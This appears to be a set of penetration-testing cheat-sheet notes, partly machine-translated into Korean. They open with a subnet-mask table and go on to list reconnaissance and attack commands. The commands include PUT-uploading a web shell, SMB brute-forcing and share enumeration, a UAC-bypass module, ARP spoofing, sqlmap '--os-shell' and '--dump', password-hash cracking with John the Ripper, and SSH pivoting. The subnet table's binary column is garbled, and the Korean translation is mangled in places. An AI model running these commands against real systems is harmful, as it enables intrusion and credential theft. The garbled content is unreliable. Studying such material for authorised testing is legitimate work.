| 슬래시 표기법 | 네트 마스크 | 마녀 | 이진 표현 | 호스트 수 |
|---|---|---|---|---|
| /0 | 0.0.0.0 | 0x00000000 | 00000000 00000000 00000000 00000000 | 4294967296 |
| /1 | 128.0.0.0 | 0x80000000 | 100000000 00000000 00000000 00000000 | 2147483648 |
| /2 | 192.0.0.0 | 0xc0000000 | 11000000 00000000 00000000 00000000 | 1073741824 |
| /3 | 224.0.0.0 | 0xe0000000 | 11100000 00000000 00000000 00000000 | 536870912 |
| /4 | 240.0.0.0 | 0xf0000000 | 11110000 00000000 00000000 00000000 | 268435456 |
| /5 | 248.0.0.0 | 0xf8000000 | 11111000 00000000 00000000 00000000 | 134217728 |
| /6 | 252.0.0.0 | 0xFC000000 | 11111100 00000000 00000000 00000000 | 67108864 |
| /7 | 254.0.0.0 | 0xfe000000 | 11111110 00000000 00000000 00000000 | 33554432 |
| /8 | 255.0.0.0 | 0xff000000 | 111111111 00000000 00000000 00000000 | 16777216 |
| /9 | 255.128.0.0 | 0xff800000 | 11111111100000000000000000000 | 8388608 |
| /10 | 255.192.0.0 | 0xFFC00000 | 111111111111000000000000000000 | 4194304 |
| /11 | 255.224.0.0 | 0xffe00000 | 111111111100000 00000000 00000000 | 2097152 |
| /12 | 255.240.0.0 | 0xfff00000 | 111111111110000 00000000000000 | 1048576 |
| /13 | 255.248.0.0 | 0xFFF80000 | 111111111110000000000000000 | 524288 |
| /14 | 255.252.0.0 | 0xFFFC0000 | 111111111111100 00000000 00000000 | 262144 |
| /15 | 255.254.0.0 | 0xfffe0000 | 1111111111111110 00000000 00000000 | 131072 |
| /16 | 255.255.0.0 | 0xFFFF0000 | 111111111111111111000000000000 | 65536 |
| /17 | 255.255.128.0 | 0xffff8000 | 111111111111111110000000 00000000 | 32768 |
| /18 | 255.255.192.0 | 0xFFFFC000 | 1111111111111111111000000000000 | 16384 |
| /19 | 255.255.224.0 | 0xffffe000 | 1111111111111111100000 00000000 | 8192 |
| /20 | 255.255.240.0 | 0xfffff000 | 1111111111111111110000000000 | 4096 |
| /21 | 255.255.248.0 | 0xFFFFF800 | 1111111111111111110000000000 | 2048 |
| /22 | 255.255.252.0 | 0xfffffc00 | 11111111111111111111100 00000000 | 1024 |
| /23 | 255.255.254.0 | 0xfffffe00 | 11111111111111111111110 00000000 | 512 |
| /24 | 255.255.255.0 | 0xffffff00 | 1111111111111111111111111000000 | 256 |
| /25 | 255.255.255.128 | 0xffffff80 | 1111111111111111111111100000 | 128 |
| /26 | 255.255.255.192 | 0xffffffc0 | 1111111111111111111111111000000 | 64 |
| /27 | 255.255.255.224 | 0xffffffe0 | 111111111111111111111100000 | 32 |
| /28 | 255.255.255.240 | 0xfffffff0 | 11111111111111111111111110000 | 16 |
| /29 | 255.255.255.248 | 0xfffffff8 | 111111111111111111111111000 | 8 |
| /30 | 255.255.255.252 | 0xfffffffc | 1111111111111111111111111100 | 4 |
| /31 | 255.255.255.254 | 0xfffffffe | 11111111111111111111111111110 | 2 |
| /32 | 255.255.255.255 | 0xffffffff | 11111111111111111111111111111111111111111111111111111111111111111111111111111111111111 명 미를까지 .속 여겨집니다 | 1 |
웹 서버 및 기술을 식별하십시오
Bruteforce 하위 도메인
디렉토리 열거
사용자, 유출 된 이메일, ID 등을 찾으십시오
항상 /robots..txt ,/sitemap.xml, /crossdomain.xml을 시도하십시오
Google Dorking
site: 이 명령을 사용하여 주어진 호스트 이름에 결과 만 포함 할 수 있습니다.
intitle: 이 명령은 제목 페이지에 따라 필터링됩니다.
inurl: Intitle과 유사하지만 리소스의 URL에서 작동합니다.
filetype: 이 필터는 리소스의 파일 확장자를 사용하여 필터합니다.
AND, OR, &, | 표현을 결합하기 위해 논리 연산자를 사용합니다.
웨이백 URL
ip route - prints the routing table for the host you are on
ip route add ROUTETO via ROUTEFROM - add a route to a new network if on a switched network and you need to pivot
기계에서 발견 된 자료를 사용합니다. 예를 들어 호스트 파일 또는 ARP 캐시가 있습니다
사전 설치 도구 사용
정적으로 컴파일 된 도구 사용
스크립팅 기술 사용
프록시를 통해 로컬 도구 사용
arp -a (can be used to check the arp cache of the machine)
nano /etc/hosts (on linux, static mappings may be found)
/etc/resolv.conf (on Linux, may identify any local DNS servers, which may be misconfigured to allow a DNS zone transfer attack)
nmcli dev show (reading resolve.conf)
C:WindowsSystem32driversetchosts (On windows)
ipconfig /all (Check the DNS servers for an interface)
- /etc/proxychains.conf
[proxylist] & [proxy_dns]
sock4[5] 127.0.0.1 <port>
proxychains telnet 172.16.0.100 23
ip route add 192.168.72.23 via 10.10.10.10(VPN Gateway)ip route add 192.168.72.0/24 via 10.10.10.10(VPN Gateway) fping -a -g 10.10.10.0/24 2>/dev/null
nmap -sn 10.10.10.0/24
nmap -sC -sV -p- <IP>
nmap -sU -sV <IP>
nc -v 10.10.10.10 port
HEAD / HTTP/1.0
openssl s_client -connect 10.10.10.10:443
HEAD / HTTP/1.0
httprint -P0 -h 10.10.10.10 -s /path/to/signaturefile.txt
GET, POST, HEAD, PUT, DELETE, OPTIONS
nc 10.10.10.10 80
OPTIONS / HTPP/1.0
wc -m shell.php
x shell.php
PUT /shell.php
Content-type: text/html
Content-length: x
Directory and File Scanning
nmblookup -A <target IP> - NetBios 이름을 조회하는 데 사용되는 TCP/IP 클라이언트의 NETBIOS
nbtstat -A <IP> - (Windows) NBT를 사용하여 프로토콜 및 현재 TCP/IP 연결을 표시합니다.
net view <target ip> - 삼바 및 원격 CIFS 서버 관리를위한 도구
exlpoit/windows/localbypassuac (metasploit module) Wind
<20> record tells us that the file sharing service is up and running
enum4linux -a 10.10.10.10
enum4linux -S(enumerate shares) X.X.X.X
enum4linux -U(enumerate users) X.X.X.X
enum4linux -P(check password policy) X.X.X.X
nmap -script=smb-enum-shares
nmap -script=smb-enum-users
nmap -script=smb-brute
nmap --script smb-check-vulns.nse --script-args=unsafe-1
exlpoit/windows/localbypassuac
-L - allows you to look at what services are avaliable on a target. prepend //<IP ADDRESS>
-N - forces the tool to not ask for a password
smbclient [-U username] [-P password or -N for no password] -L \\X.X.X.X
smbclient [-U username] [-P password or -N for no password] \\X.X.X.X\share
smbclient -L //10.10.10.10 -N (list shares)
smbclient //10.10.10.10/share -N (mount share)
smbclient //X.X.X.X/IPC$ -N
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i <interface> -t <target> -r <host>
sqlmap -u <URL> -p <injection parameter> [options]
sqlmap -u http://10.10.10.10 -p parameter
sqlmap -u http://10.10.10.10 --data POSTstring -p parameter
sqlmap -u http://10.10.10.10 --os-shell
sqlmap -u http://10.10.10.10 --dump
--cookie (specifiying cookie)
update <table> set <parameter>="yes" where <Parameter>="<data";
이것은 John the Ripper와 함께 사용할 파일을 준비합니다.
unshadow passwd shadow > unshadow
john -wordlist /path/to/wordlist -users=users.txt hashfile
scp <user>@<ip>/etc/passwd .
user() 현재 데이터베이스를 사용하고있는 사용자의 이름을 반환합니다.
substring() 주어진 논쟁의 하위 문자열을 반환합니다. 입력 문자열, 서브 스트링 위치 및 길이의 세 가지 매개 변수가 필요합니다.
Use of Metasploit - (portfwd) -h
Port forwarding is accomplished with the -L switch, which creates a link to a Local port.
ssh -L 8000:172.16.0.10:80 [email protected] -fN
-f 배경 쉘, -n은 ssh에게 명령을 실행할 필요가 없다고 말합니다. 연결 만 설정합니다.
Proxies are made using the -D switch, for example: -D 1337
ssh -D 1337 [email protected] -fN
이것은 다시 -fn 스위치를 사용하여 쉘을 배경으로 사용합니다. 포트 137의 선택은 완전히 임의적입니다. 중요한 것은 포트를 사용할 수 있고 프록시 체인 (또는 해당) 구성 파일에 올바르게 설정하는 것입니다. 이 프록시를 설정하면 모든 트래픽을 대상 네트워크로 전환 할 수 있습니다.